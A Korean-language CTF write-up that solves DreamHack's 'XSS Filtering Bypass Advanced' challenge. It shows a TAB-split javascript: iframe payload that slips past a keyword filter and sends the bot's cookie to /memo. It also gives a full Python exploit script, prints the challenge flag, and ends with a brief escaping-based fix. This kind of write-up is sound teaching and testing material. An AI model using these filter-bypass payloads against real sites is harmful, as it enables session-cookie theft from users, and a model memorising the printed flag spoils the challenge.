TAB 하나로 필터 열 개를 뚫다 — DreamHack XSS Filtering Bypass Advanced 풀이

2026-04-01

TAB 하나로 필터 열 개를 뚫다 — DreamHack XSS Filtering Bypass Advanced 풀이

script, javascript, document, location, (, )까지 10개 이상의 키워드를 차단하는 XSS 필터. 그런데 javas\tcript처럼 TAB 문자(\t)를 키워드 중간에 끼우면 필터는 통과하고 브라우저는 그대로 실행한다. WHATWG URL 스펙이 정의한 정규화 동작과 Python 문자열 필터 사이의 갭을 파고들어 쿠키를 탈취하고 FLAG를 획득하는 과정을 단계별로 정리한다.

문제: DreamHack — XSS Filtering Bypass Advanced 분류: Web Hacking (XSS) 난이도: ⭐⭐⭐ Level 3 FLAG: DH{e8140ed5b0770088dd2012e1c9dfd4b4}


문제 개요

항목내용
문제명XSS Filtering Bypass Advanced
난이도⭐⭐⭐ Level 3
제공 파일소스코드 (Flask 앱 + Docker)
기술 스택Python Flask, Selenium Chrome Bot
핵심 취약점Reflected XSS + Filter Bypass
공격 기법TAB 문자(\t) 우회 + javascript: URL + 쿠키 탈취

이전 문제(XSS Filtering Bypass)의 패치 버전이다. 1차 필터에서 3개 키워드만 막았던 게 이번엔 8개가 더 추가됐다.

분류이전 문제이번 문제 추가
1차 필터script, on, javascript(동일)
2차 필터 (추가)window, self, this, document, location, (, ), &#

특히 함수 호출 ()까지 막아버렸다. alert(1)도 못 쓰고, atob()도 못 쓰고, 어지간한 JS 실행 방법이 전부 차단이다.

얼핏 보면 아무것도 못 할 것 같은데 — 단 하나의 사실로 다 뚫린다: 브라우저는 URL 속 TAB 문자를 정규화 단계에서 제거한다.

풀이 흐름:

  1. app.py 분석 → 앱 구조 + 취약 포인트 파악
  2. xss_filter 함수 뜯기 → 뭐가 막히고 뭐가 뚫리는지 확인
  3. TAB 우회 원리 이해
  4. payload 설계 + /vuln에서 통과 확인
  5. /flag 제출 → 봇 트리거 → /memo FLAG 수거

🔬 소스코드 분석

Step 1 — 앱 구조 파악

메인 페이지 — 앱 엔드포인트 링크 확인
메인 페이지 — 앱 엔드포인트 링크 확인

메인 페이지에 세 개 링크가 있다: vuln(xss) page, memo, flag. 각 링크가 어떻게 생겼는지 간단히 살펴봤다.

vuln(xss) page 클릭 → /vuln 엔드포인트. param 없이 접속하면 빈 화면이 뜬다.

/vuln 기본 화면 — param 없이 접속
/vuln 기본 화면 — param 없이 접속

param=hello처럼 일반 텍스트를 넣으면 그대로 화면에 출력된다. 필터 통과 여부와 상관없이 /vuln이 param을 HTML에 그냥 박는 구조라는 게 바로 보인다.

/vuln?param=hello — 입력값 그대로 렌더링
/vuln?param=hello — 입력값 그대로 렌더링

memo 클릭 → /memo 엔드포인트. 현재 저장된 메모가 없으면 빈 화면. 공격 성공 후 봇 쿠키(flag)가 이 페이지에 쌓인다.

/memo 빈 화면 — exploit 전 상태
/memo 빈 화면 — exploit 전 상태

Flask 소스는 네 개 라우트:

code
@app.route("/")         # 메인 페이지
@app.route("/vuln")     # XSS 취약 페이지 — GET, param 그대로 HTML 출력
@app.route("/flag")     # GET: 폼 | POST: 봇 트리거
@app.route("/memo")     # 메모 저장/조회 (전역 변수 누적)

공격 경로가 바로 보인다:

code
/flag POST (payload 제출)
 → 봇(Selenium Chrome)이 flag 쿠키 들고 /vuln?param=<payload> 방문
 → /vuln이 param을 HTML에 그대로 출력
 → 브라우저가 XSS 실행 → /memo?memo=<cookie> 요청
 → /memo에 flag 저장됨 → 내가 /memo GET으로 확인

봇 관련 코드:

code
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
 
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG}):
            return '<script>alert("wrong")</script>'
        return '<script>alert("good")</script>'
    return render_template("flag.html")
 
@app.route("/memo")
def memo():
    global memo
    if request.method == "GET":
        if request.args.get("memo"):
            memo += request.args.get("memo") + "\n"
    return render_template("memo.html", memo=memo)

세 가지를 기억해두면 흐름이 명확해진다:

  • /flag POST: param을 받아 check_xss로 봇에게 전달 → 봇이 방문할 때 flag 쿠키를 들고 다님
  • urllib.parse.quote(param): param을 URL 인코딩해서 봇이 방문하는 URL에 삽입 → Flask가 디코딩 후 xss_filter원문이 들어감
  • /memo?memo=<value>: GET 요청이 오면 전역 변수에 누적 저장 — 공격 성공 시 봇 쿠키가 여기 쌓임
🐛 삽질 1 — script 태그, onerror 이벤트 핸들러 다 막혀있었다

제일 먼저 <script>alert(1)</script> 던져봤다. 바로 filtered!!!

code
http://host8.dreamhack.games:22964/vuln?param=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

script 태그 시도 — filtered
script 태그 시도 — filtered

script 키워드가 차단된다는 건 알겠는데, 그럼 이벤트 핸들러로 우회하면 되지 않나 싶어서:

code
<img src=x onerror="alert(1)">
<svg onload="alert(1)">
<body onmouseover="alert(1)">

다 막혔다. 1차 필터에 on이 있어서 onclick, onerror, onload 전부 걸린다.

code
http://host8.dreamhack.games:22964/vuln?param=%3Cimg+src%3Dx+onerror%3D%22alert%281%29%22%3E

onerror 이벤트 핸들러 시도 — filtered
onerror 이벤트 핸들러 시도 — filtered

on이 포함된 모든 문자열이 차단되기 때문에 이벤트 핸들러 계열은 전부 불가능하다.

실제로 DH 서버에서도 <script>alert(1)</script>를 URL에 넘겨보면 주소창에 그대로 표시되고 filtered!!! 반환된다.

DH 서버 실제 응답 — filtered!!!
DH 서버 실제 응답 — filtered!!!

Step 2 — xss_filter 함수 뜯기

xss_filter 함수 코드 (app.py)
xss_filter 함수 코드 (app.py)

code
def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"
 
    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"
 
    return text

text.lower() 로 소문자 변환 후 부분 일치 검사. <SCRIPT>, <Script> 같은 대소문자 우회는 이미 막혀있다.

차단 항목 정리:

차단 분류항목
코드 실행 태그script
이벤트 핸들러on (모든 on* 핸들러)
JS 프로토콜javascript
전역 객체window, self, this
DOM APIdocument, location
함수 호출(, )
HTML 엔티티 인코딩&#

허용되는 것: <a>, <img>, <iframe>, src=, href=, =, ", ', /, ., + 등.

<iframe> 태그와 src 속성은 막지 않았다. 그리고 javascript라는 문자열 자체를 막았지, 브라우저가 URL을 정규화하는 과정은 고려하지 않았다.

🐛 삽질 2 — javascript: URL 직접 시도, HTML 엔티티 인코딩도 다 막혔다

<iframe>을 쓸 수 있으니까 javascript: 프로토콜이 바로 떠올랐다:

code
<iframe src="javascript:alert(1)">

당연히 javascript 키워드에서 걸림. 그럼 HTML 엔티티로 인코딩하면?

code
<iframe src="&#106;avascript:alert(1)">
<iframe src="j&#97;vascript:alert(1)">
<iframe src="&#x6A;avascript:alert(1)">

&# 패턴이 2차 필터에 있어서 전부 차단.

code
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%22javascript%3Aalert%281%29%22%3E

javascript URL 직접 시도 — filtered
javascript URL 직접 시도 — filtered

code
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%22%26%23106%3Bavascript%3Aalert%281%29%22%3E

HTML 엔티티 인코딩 우회 시도 — filtered
HTML 엔티티 인코딩 우회 시도 — filtered

URL 인코딩(%6A...)도 시도해봤는데: Flask가 param을 URL 디코딩한 뒤 필터에 넣으니까 결국 javascript가 등장해서 걸린다.

Base64 같은 것도 고려했지만 atob() 실행에 () 가 필요하니 막힌다.

이쯤에서 "아 키워드 자체를 쪼개는 수밖에 없겠다" 는 생각을 했다.


💣 TAB 문자 우회

Step 3 — TAB으로 키워드 분리하기

스펙 근거 — WHATWG URL Standard §4.1

WHATWG URL Standard의 URL 파싱 알고리즘에는 다음 단계가 명시되어 있다:

"If input contains any ASCII tab or newline, validation error; remove all ASCII tab or newline from input."

ASCII tab(U+0009), LF(U+000A), CR(U+000D)은 URL 파싱 초기 단계에서 무조건 제거된다. 이 정규화는 href, src, action 같은 모든 URL 속성에 동일하게 적용된다.

참조:

이 정규화는 서버 측 URL 디코딩과는 완전히 별개의 레이어다. 여기서 많이 헷갈리는 포인트가 있다.

code
javas\tcript   (TAB 리터럴, U+0009)
  → 필터 검사: "javascript" 없음 → 통과 ✓
  → 브라우저 URL 파싱: TAB 제거 → javascript: → 실행 ✓
 
javas%09cript  (퍼센트 인코딩)
  → 필터 검사: "javascript" 없음 → 통과 ✓
  → 브라우저 URL 파싱: %09는 whitespace strip 대상 아님 → javascript: 인식 안 됨 ✗

%09는 이미 인코딩된 시퀀스이므로 WHATWG URL 파싱 초기 whitespace strip 단계의 대상이 아니다. TAB 리터럴(U+0009)만 제거된다. <iframe src='javas%09cript:...'>를 HTML에 쓰면 브라우저가 javascript: URL로 인식하지 않아 실행되지 않는다.

code
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%27javas%09cript%3Alocatio%09n.href%3D%22%2Fmemo%3Fmemo%3Dtest%22%27%3E

TAB 우회 발견 — 필터 통과 확인
TAB 우회 발견 — 필터 통과 확인

javas\tcript/vuln?param=...에 보내면 filtered!!! 없이 그대로 출력된다. 필터는 javascript를 찾지 못하고, 브라우저는 iframe의 src를 파싱할 때 TAB을 제거해서 javascript: 로 실행한다.

차단 키워드별 TAB 삽입 위치:

차단 키워드TAB 우회 형태구분 방법
javascriptjavas\tcript어디든 중간에 끼우면 됨
locationlocatio\tn끝쪽 분리
documentdo\tcument앞쪽 분리

🎯 Payload 설계

Step 4 — 최종 payload 조립

쿠키를 /memo로 탈취할 방법이 필요하다. document.cookie 읽어서 location.href로 리다이렉트하는 게 제일 깔끔하다. ()가 막혔으니 함수 호출 없이 대입만으로:

code
location.href="/memo?memo="+document.cookie

괄호 없음, 함수 호출 없음, 직접 대입. 이걸 javascript: URL에 넣고 키워드마다 TAB 삽입:

code
javas[TAB]cript:locatio[TAB]n.href="/memo?memo="+do[TAB]cument.cookie

<iframe src=...>에 담으면 최종 payload는 이렇게 된다:

code
<iframe src='javas	cript:locatio	n.href="/memo?memo="+do	cument.cookie'>

TAB을 %09로 URL 인코딩하면:

code
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%27javas%09cript%3Alocatio%09n.href%3D%22%2Fmemo%3Fmemo%3D%22%2Bdo%09cument.cookie%27%3E

최종 payload — 필터 통과 + 렌더링 확인
최종 payload — 필터 통과 + 렌더링 확인

/vuln에서 실제로 통과되고 <iframe>이 렌더링된다.

code
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%27javas%09cript%3Alocatio%09n.href%3D%22%2Fmemo%3Fmemo%3D%22%2Bdo%09cument.cookie%27%3E

TAB 우회 payload가 렌더링된 화면 (주소창에 payload URL 표시)
TAB 우회 payload가 렌더링된 화면 (주소창에 payload URL 표시)

내 브라우저에서는 document.cookie가 비어있거나 다른 값이라 iframe 안에 /memo 페이지가 뜨지만 — 봇이 실행하면 봇의 flag 쿠키가 /memo로 날아간다.

🐛 삽질 3 — ()가 막혀서 alert(1) 확인도 못 했다

payload가 실행되는지 alert(1) 로 먼저 테스트하고 싶었는데 (, ) 가 모두 필터에 걸린다.

code
<iframe src="javascript:alert(1)">   ← ( ) 차단

alert 없이 확인하는 방법을 생각해봤다:

  1. location.href 대입 → 리다이렉트로 확인 가능
  2. document.title 대입 → 직접 변경 가능
  3. location.hash 대입 → URL 해시 변경으로 확인

결국 확인 방법도 리다이렉트 기반으로 바꾸고 /memo에 뭔가 남기는 식으로 접근했다. 물론 여기도 TAB 우회가 필요하다:

code
<!-- 테스트: /memo에 고정 텍스트 남기기 (TAB 우회 적용) -->
<iframe src='javas	cript:locatio	n.href="/memo?memo=test_ok"'>

test_ok/memo에 남아있으면 iframe이 실제로 실행됐다는 증거다. 봇 트리거 전에 payload가 동작하는지 먼저 검증할 수 있다.


🚀 실제로 터뜨려보자

Step 5 — /flag 폼 제출 + 봇 트리거

/flag 폼 화면 — 봇에게 보낼 URL 입력 폼
/flag 폼 화면 — 봇에게 보낼 URL 입력 폼

/flag 페이지는 간단한 폼이다. param 입력하고 submit하면 봇이 127.0.0.1:8000/vuln?param=<URL_인코딩된_payload>를 방문한다.

Python으로 자동화:

code
import requests
 
BASE = "http://host8.dreamhack.games:22964"
 
payload = "<iframe src='javas\tcript:locatio\tn.href=\"/memo?memo=\"+do\tcument.cookie'>"
 
# 1. 필터 통과 확인
r = requests.get(f"{BASE}/vuln", params={"param": payload})
print("filtered" not in r.text)  # True면 통과
 
# 2. 봇 트리거
requests.post(f"{BASE}/flag", data={"param": payload})

requests.post에서 data={"param": payload}는 form-urlencoded로 전송된다. requests 라이브러리가 TAB을 %09로 URL 인코딩해서 HTTP body에 담아 전송하고, Flask가 request.form.get("param")으로 꺼낼 때 URL 디코딩되어 \t로 복원된다. xss_filter는 이 복원된 원문(TAB 포함) 을 검사하므로 javascript가 없어 통과.

봇이 실행하는 흐름:

code
봇 방문 URL: http://127.0.0.1:8000/vuln?param=%3Ciframe+src%3D%27javas%09cript%3A...%27%3E
Flask 디코딩: <iframe src='javas\tcript:locatio\tn.href="/memo?memo="+do\tcument.cookie'>
xss_filter:  "javascript" not found → return text (통과)
HTML 출력:   <iframe src='javas\tcript:...'> 그대로 브라우저에 전달
브라우저:    src 속성 URL 파싱 → TAB 제거 → javascript:location.href=... 실행
결과:        봇 쿠키 → /memo?memo=flag=DH{...}

Step 6 — /memo에서 FLAG 확인

/memo 페이지 — 봇 쿠키 탈취 완료, FLAG 확인
/memo 페이지 — 봇 쿠키 탈취 완료, FLAG 확인

봇 실행 후 약 5초 뒤 /memo를 열면 쿠키가 저장되어 있다.

code
flag=DH{e8140ed5b0770088dd2012e1c9dfd4b4}

🎉 FLAG: DH{e8140ed5b0770088dd2012e1c9dfd4b4}


💥 Full Exploit 코드

exploit.py 실행 결과
exploit.py 실행 결과

code
#!/usr/bin/env python3
"""
XSS Filtering Bypass Advanced - TAB Character Filter Bypass
FLAG: DH{e8140ed5b0770088dd2012e1c9dfd4b4}
 
필터 우회 매핑:
  javascript  →  javas\tcript    (TAB 삽입)
  location    →  locatio\tn      (TAB 삽입)
  document    →  do\tcument      (TAB 삽입)
  ()          →  불필요 (href 대입으로 우회)
"""
import requests
import time
import re
 
BASE = "http://host8.dreamhack.games:22964"
 
 
def get_memo():
    r = requests.get(f"{BASE}/memo")
    m = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
    return m.group(1).strip() if m else ""
 
 
# TAB(\t) 우회 payload
payload = "<iframe src='javas\tcript:locatio\tn.href=\"/memo?memo=\"+do\tcument.cookie'>"
 
# Step 1: 필터 통과 확인
r = requests.get(f"{BASE}/vuln", params={"param": payload})
if "filtered" in r.text:
    print("[-] Filter NOT bypassed. Exiting.")
    exit(1)
print("[+] Filter bypassed!")
 
# Step 2: 봇 트리거
r = requests.post(f"{BASE}/flag", data={"param": payload})
print("[*] Bot triggered")
 
# Step 3: 봇 실행 대기
print("[*] Waiting for bot (5s)...")
time.sleep(5)
 
# Step 4: /memo에서 FLAG 확인
memo = get_memo()
flag = re.search(r'DH\{[^}]+\}', memo)
if flag:
    print(f"\n[!] FLAG: {flag.group()}")
else:
    print("[-] FLAG not found. Current memo:")
    print(memo)

실행:

code
python3 exploit.py

🛡️ 한 줄 요약하면

단계내용
취약점/vuln param이 HTML에 그대로 출력 (Reflected XSS)
공격 경로/flag POST → 봇이 /vuln 방문 → 쿠키 탈취
필터 우회TAB(\t, %09)을 키워드 중간에 삽입
우회 원리필터는 원문 텍스트 검사 / 브라우저는 URL 정규화 후 실행
탈취 방식javascript: location.href="/memo?memo="+document.cookie
FLAG 위치/memo (전역 변수 누적 저장)

방어 방법

code
# ❌ 현재 코드 — 필터 방식, 우회 가능
return xss_filter(param)
 
# ✅ 올바른 방어 — 출력 시 HTML 이스케이프
from markupsafe import escape
return str(escape(param))

<, >, ", ', & 를 엔티티로 변환하면 태그 삽입 자체가 불가능해진다. 필터 방식은 항상 우회 가능성이 있고, 출력 이스케이프가 훨씬 근본적인 해결책이다.


📝 결국 TAB 하나였다

두꺼운 필터처럼 보여도 필터 코드와 브라우저 파싱 사이의 갭이 열려있으면 뚫린다. 이번 문제의 갭은 딱 하나: 필터는 원문 텍스트를 검사하고, 브라우저는 URL 정규화 후 실행한다.

핵심 세 가지:

  1. <iframe src="javascript:..."><script> 없이 JS 실행 가능
  2. TAB으로 키워드를 쪼개면 — 필터를 통과하고 브라우저에서 정상 실행됨
  3. location.href 대입() 없이 리다이렉트로 쿠키 탈취 가능

CTF에서 XSS 필터 우회는 이 패턴이 자주 나온다. 브라우저가 정규화/인코딩/파싱 과정에서 필터가 보지 못한 것을 재조합해서 실행하는 방식. TAB 외에도 \n, \r, Unicode 정규화, HTML 엔티티 이중 디코딩이 같은 맥락이다.